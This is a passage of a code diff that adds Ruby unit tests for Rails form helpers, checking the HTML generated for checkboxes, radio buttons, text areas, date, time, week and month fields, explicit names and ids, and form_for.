+    @post.secret = 0.0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 1.1
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 2.2
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
+    @post.secret = BigDecimal.new(0)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = BigDecimal.new(1)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = BigDecimal.new(2.2, 1)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_nil_unchecked_value
+    @post.secret = "on"
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", nil)
+    )
+  end
+
+  def test_check_box_with_nil_unchecked_value_is_html_safe
+    assert check_box("post", "secret", {}, "on", nil).html_safe?
+  end
+
+  def test_check_box_with_multiple_behavior
+    @post.comment_ids = [2, 3]
+    assert_dom_equal(
+      '<input name="post[comment_ids][]" type="hidden" value="0" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
+      check_box("post", "comment_ids", { multiple: true }, 1)
+    )
+    assert_dom_equal(
+      '<input name="post[comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
+      check_box("post", "comment_ids", { multiple: true }, 3)
+    )
+  end
+
+  def test_check_box_with_multiple_behavior_and_index
+    @post.comment_ids = [2, 3]
+    assert_dom_equal(
+      '<input name="post[foo][comment_ids][]" type="hidden" value="0" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
+      check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+    )
+    assert_dom_equal(
+      '<input name="post[bar][comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
+      check_box("post", "comment_ids", { multiple: true, index: "bar" }, 3)
+    )
+  end
+
+  def test_checkbox_disabled_disables_hidden_field
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", disabled: true)
+    )
+  end
+
+  def test_checkbox_form_html5_attribute
+    assert_dom_equal(
+      '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", form: "new_form")
+    )
+  end
+
+  def test_radio_button
+    assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
+      radio_button("post", "title", "Hello World")
+    )
+    assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
+      radio_button("post", "title", "Goodbye World")
+    )
+    assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
+      radio_button("item[subobject]", "title", "inside world")
+    )
+  end
+
+  def test_radio_button_is_checked_with_integers
+    assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
+      radio_button("post", "secret", "1")
+   )
+  end
+
+  def test_radio_button_with_negative_integer_value
+    assert_dom_equal('<input id="post_secret_-1" name="post[secret]" type="radio" value="-1" />',
+      radio_button("post", "secret", "-1"))
+  end
+
+  def test_radio_button_respects_passed_in_id
+    assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
+      radio_button("post", "secret", "1", id: "foo")
+   )
+  end
+
+  def test_radio_button_with_booleans
+    assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
+      radio_button("post", "secret", true)
+    )
+
+    assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
+      radio_button("post", "secret", false)
+    )
+  end
+
+  def test_text_area_placeholder_without_locales
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_body" name="post[body]" placeholder="Body">\nBack to the hill and over it again!</textarea>},
+        text_area(:post, :body, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_locales
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_title" name="post[title]" placeholder="What is this about?">\nHello World</textarea>},
+        text_area(:post, :title, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_human_attribute_name
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_cost" name="post[cost]" placeholder="Total cost">\n</textarea>},
+        text_area(:post, :cost, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_string_value
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_cost" name="post[cost]" placeholder="HOW MUCH?">\n</textarea>},
+        text_area(:post, :cost, placeholder: "HOW MUCH?")
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_human_attribute_name_and_value
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_cost" name="post[cost]" placeholder="Pounds">\n</textarea>},
+        text_area(:post, :cost, placeholder: :uk)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_locales_and_value
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_written_on" name="post[written_on]" placeholder="Escrito en">\n2004-06-15</textarea>},
+        text_area(:post, :written_on, placeholder: :spanish)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_locales_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: "create-post" }) do |f|
+        f.fields_for(:comments) do |cf|
+          concat cf.text_area(:body, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        %{<textarea id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here">\n</textarea>}
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_text_area_placeholder_with_locales_fallback_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: "create-post" }) do |f|
+        f.fields_for(:tags) do |cf|
+          concat cf.text_area(:value, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        %{<textarea id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag">\nnew tag</textarea>}
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_text_area
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_escapes
+    @post.body = "Back to <i>the</i> hill and over it again!"
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nBack to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>},
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_alternate_value
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
+      text_area("post", "body", value: "Testing alternate values.")
+    )
+  end
+
+  def test_text_area_with_nil_alternate_value
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\n</textarea>},
+      text_area("post", "body", value: nil)
+    )
+  end
+
+  def test_inputs_use_before_type_cast_to_retain_information_from_validations_like_numericality
+    assert_dom_equal(
+      %{<textarea id="post_id" name="post[id]">\nomg</textarea>},
+      text_area("post", "id")
+    )
+  end
+
+  def test_inputs_dont_use_before_type_cast_when_value_did_not_come_from_user
+    class << @post
+      undef id_came_from_user?
+      def id_came_from_user?; false; end
+    end
+
+    assert_dom_equal(
+      %{<textarea id="post_id" name="post[id]">\n0</textarea>},
+      text_area("post", "id")
+    )
+  end
+
+  def test_inputs_use_before_typecast_when_object_doesnt_respond_to_came_from_user
+    class << @post; undef id_came_from_user?; end
+    assert_dom_equal(
+      %{<textarea id="post_id" name="post[id]">\nomg</textarea>},
+      text_area("post", "id")
+    )
+  end
+
+  def test_text_area_with_html_entities
+    @post.body = "The HTML Entity for & is &amp;"
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for &amp; is &amp;amp;</textarea>},
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_size_option
+    assert_dom_equal(
+      %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", size: "183x820")
+    )
+  end
+
+  def test_color_field_with_valid_hex_color_string
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#000fff" />}
+    assert_dom_equal(expected, color_field("car", "color"))
+  end
+
+  def test_color_field_with_invalid_hex_color_string
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#000000" />}
+    @car.color = "#1234TR"
+    assert_dom_equal(expected, color_field("car", "color"))
+  end
+
+  def test_color_field_with_value_attr
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#00FF00" />}
+    assert_dom_equal(expected, color_field("car", "color", value: "#00FF00"))
+  end
+
+  def test_search_field
+    expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
+    assert_dom_equal(expected, search_field("contact", "notes_query"))
+  end
+
+  def test_search_field_with_onsearch_value
+    expected = %{<input onsearch="true" type="search" name="contact[notes_query]" id="contact_notes_query" incremental="true" />}
+    assert_dom_equal(expected, search_field("contact", "notes_query", onsearch: true))
+  end
+
+  def test_telephone_field
+    expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
+    assert_dom_equal(expected, telephone_field("user", "cell"))
+  end
+
+  def test_date_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_date_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_date_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15)
+    min_value = DateTime.new(2000, 6, 15)
+    max_value = DateTime.new(2010, 8, 15)
+    step = 2
+    assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_date_field_with_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2013-06-29" />}
+    value = Date.new(2013, 6, 29)
+    assert_dom_equal(expected, date_field("post", "written_on", value: value))
+  end
+
+  def test_date_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, "UTC"
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = Time.zone.parse("2004-06-15 15:30:45")
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_date_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_date_field_with_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15)
+    min_value = "2000-06-15"
+    max_value = "2010-08-15"
+    assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_date_field_with_invalid_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "foo"
+    max_value = "bar"
+    assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_time_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_time_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_time_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_time_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, "UTC"
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = Time.zone.parse("2004-06-15 01:02:03")
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_time_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_time_field_with_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "20:45:30.000"
+    max_value = "10:25:00.000"
+    assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_time_field_with_invalid_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "foo"
+    max_value = "bar"
+    assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_datetime_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_datetime_field_with_value_attr
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2013-06-29T13:37:00+00:00" />}
+    value = DateTime.new(2013, 6, 29, 13, 37)
+    assert_dom_equal(expected, datetime_field("post", "written_on", value: value))
+  end
+
+  def test_datetime_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, "UTC"
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T15:30:45" />}
+    @post.written_on = Time.zone.parse("2004-06-15 15:30:45")
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_datetime_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_field_with_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "2000-06-15T20:45:30"
+    max_value = "2010-08-15T10:25:00"
+    assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_datetime_field_with_invalid_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "foo"
+    max_value = "bar"
+    assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_datetime_local_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  end
+
+  def test_month_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-12" min="2000-02" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 2, 13)
+    max_value = DateTime.new(2010, 12, 23)
+    step = 2
+    assert_dom_equal(expected, month_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_month_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, "UTC"
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = Time.zone.parse("2004-06-15 15:30:45")
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_week_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />}
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W25" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 2, 13)
+    max_value = DateTime.new(2010, 12, 23)
+    step = 2
+    assert_dom_equal(expected, week_field("post", "written_on", min: min_value, max: max_value, step: step))
+  end
+
+  def test_week_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, "UTC"
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />}
+    @post.written_on = Time.zone.parse("2004-06-15 15:30:45")
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_week_field_week_number_base
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2015-W01" />}
+    @post.written_on = DateTime.new(2015, 1, 1, 1, 2, 3)
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_url_field
+    expected = %{<input id="user_homepage" name="user[homepage]" type="url" />}
+    assert_dom_equal(expected, url_field("user", "homepage"))
+  end
+
+  def test_email_field
+    expected = %{<input id="user_address" name="user[address]" type="email" />}
+    assert_dom_equal(expected, email_field("user", "address"))
+  end
+
+  def test_number_field
+    expected = %{<input name="order[quantity]" max="9" id="order_quantity" type="number" min="1" />}
+    assert_dom_equal(expected, number_field("order", "quantity", in: 1...10))
+    expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
+    assert_dom_equal(expected, number_field("order", "quantity", size: 30, in: 1...10))
+  end
+
+  def test_range_input
+    expected = %{<input name="hifi[volume]" step="0.1" max="11" id="hifi_volume" type="range" min="0" />}
+    assert_dom_equal(expected, range_field("hifi", "volume", in: 0..11, step: 0.1))
+    expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
+    assert_dom_equal(expected, range_field("hifi", "volume", size: 30, in: 0..11, step: 0.1))
+  end
+
+  def test_explicit_name
+    assert_dom_equal(
+      '<input id="post_title" name="dont guess" type="text" value="Hello World" />',
+      text_field("post", "title", "name" => "dont guess")
+    )
+    assert_dom_equal(
+      %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "name" => "really!")
+    )
+    assert_dom_equal(
+      '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
+      check_box("post", "secret", "name" => "i mean it")
+    )
+    assert_dom_equal(
+      text_field("post", "title", "name" => "dont guess"),
+      text_field("post", "title", name: "dont guess")
+    )
+    assert_dom_equal(
+      text_area("post", "body", "name" => "really!"),
+      text_area("post", "body", name: "really!")
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "name" => "i mean it"),
+      check_box("post", "secret", name: "i mean it")
+    )
+  end
+
+  def test_explicit_id
+    assert_dom_equal(
+      '<input id="dont guess" name="post[title]" type="text" value="Hello World" />',
+      text_field("post", "title", "id" => "dont guess")
+    )
+    assert_dom_equal(
+      %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "id" => "really!")
+    )
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "id" => "i mean it")
+    )
+    assert_dom_equal(
+      text_field("post", "title", "id" => "dont guess"),
+      text_field("post", "title", id: "dont guess")
+    )
+    assert_dom_equal(
+      text_area("post", "body", "id" => "really!"),
+      text_area("post", "body", id: "really!")
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "id" => "i mean it"),
+      check_box("post", "secret", id: "i mean it")
+    )
+  end
+
+  def test_nil_id
+    assert_dom_equal(
+      '<input name="post[title]" type="text" value="Hello World" />',
+      text_field("post", "title", "id" => nil)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "id" => nil)
+    )
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "id" => nil)
+    )
+    assert_dom_equal(
+      '<input type="radio" name="post[secret]" value="0" />',
+      radio_button("post", "secret", "0", "id" => nil)
+    )
+    assert_dom_equal(
+      '<select name="post[secret]"></select>',
+      select("post", "secret", [], {}, "id" => nil)
+    )
+    assert_dom_equal(
+      text_field("post", "title", "id" => nil),
+      text_field("post", "title", id: nil)
+    )
+    assert_dom_equal(
+      text_area("post", "body", "id" => nil),
+      text_area("post", "body", id: nil)
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "id" => nil),
+      check_box("post", "secret", id: nil)
+    )
+    assert_dom_equal(
+      radio_button("post", "secret", "0", "id" => nil),
+      radio_button("post", "secret", "0", id: nil)
+    )
+  end
+
+  def test_index
+    assert_dom_equal(
+      '<input name="post[5][title]" id="post_5_title" type="text" value="Hello World" />',
+      text_field("post", "title", "index" => 5)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "index" => 5)
+    )
+    assert_dom_equal(
+      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
+      check_box("post", "secret", "index" => 5)
+    )
+    assert_dom_equal(
+      text_field("post", "title", "index" => 5),
+      text_field("post", "title", "index" => 5)
+    )
+    assert_dom_equal(
+      text_area("post", "body", "index" => 5),
+      text_area("post", "body", "index" => 5)
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "index" => 5),
+      check_box("post", "secret", "index" => 5)
+    )
+  end
+
+  def test_index_with_nil_id
+    assert_dom_equal(
+      '<input name="post[5][title]" type="text" value="Hello World" />',
+      text_field("post", "title", "index" => 5, "id" => nil)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body", "index" => 5, "id" => nil)
+    )
+    assert_dom_equal(
+      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "index" => 5, "id" => nil)
+    )
+    assert_dom_equal(
+      text_field("post", "title", "index" => 5, "id" => nil),
+      text_field("post", "title", index: 5, id: nil)
+    )
+    assert_dom_equal(
+      text_area("post", "body", "index" => 5, "id" => nil),
+      text_area("post", "body", index: 5, id: nil)
+    )
+    assert_dom_equal(
+      check_box("post", "secret", "index" => 5, "id" => nil),
+      check_box("post", "secret", index: 5, id: nil)
+    )
+  end
+
+  def test_auto_index
+    pid = 123
+    assert_dom_equal(
+      %{<label for="post_#{pid}_title">Title</label>},
+      label("post[]", "title")
+    )
+    assert_dom_equal(
+      %{<input id="post_#{pid}_title" name="post[#{pid}][title]" type="text" value="Hello World" />},
+      text_field("post[]", "title")
+    )
+    assert_dom_equal(
+      %{<textarea id="post_#{pid}_body" name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post[]", "body")
+    )
+    assert_dom_equal(
+      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" id="post_#{pid}_secret" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+      check_box("post[]", "secret")
+    )
+    assert_dom_equal(
+      %{<input checked="checked" id="post_#{pid}_title_hello_world" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+      radio_button("post[]", "title", "Hello World")
+     )
+    assert_dom_equal(
+      %{<input id="post_#{pid}_title_goodbye_world" name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+      radio_button("post[]", "title", "Goodbye World")
+    )
+  end
+
+  def test_auto_index_with_nil_id
+    pid = 123
+    assert_dom_equal(
+      %{<input name="post[#{pid}][title]" type="text" value="Hello World" />},
+      text_field("post[]", "title", id: nil)
+    )
+    assert_dom_equal(
+      %{<textarea name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post[]", "body", id: nil)
+    )
+    assert_dom_equal(
+      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+      check_box("post[]", "secret", id: nil)
+    )
+    assert_dom_equal(
+      %{<input checked="checked" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+       radio_button("post[]", "title", "Hello World", id: nil)
+     )
+    assert_dom_equal(
+      %{<input name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+      radio_button("post[]", "title", "Goodbye World", id: nil)
+    )
+  end
+
+  def test_form_for_requires_block
+    error = assert_raises(ArgumentError) do
+      form_for(@post, html: { id: "create-post" })
+    end
+    assert_equal "Missing block", error.message
+  end
+
+  def test_form_for_requires_arguments
+    error = assert_raises(ArgumentError) do
+      form_for(nil, html: { id: "create-post" }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+
+    error = assert_raises(ArgumentError) do
+      form_for([nil, nil], html: { id: "create-post" }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+  end
+
+  def test_form_for
+    form_for(@post, html: { id: "create-post" }) do |f|
+      concat f.label(:title) { "The Title" }
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+      concat f.submit("Create post")
+      concat f.button("Create post")
+      concat f.button {
+        concat content_tag(:span, "Create post")
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      "<label for='post_title'>The Title</label>" \
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" \
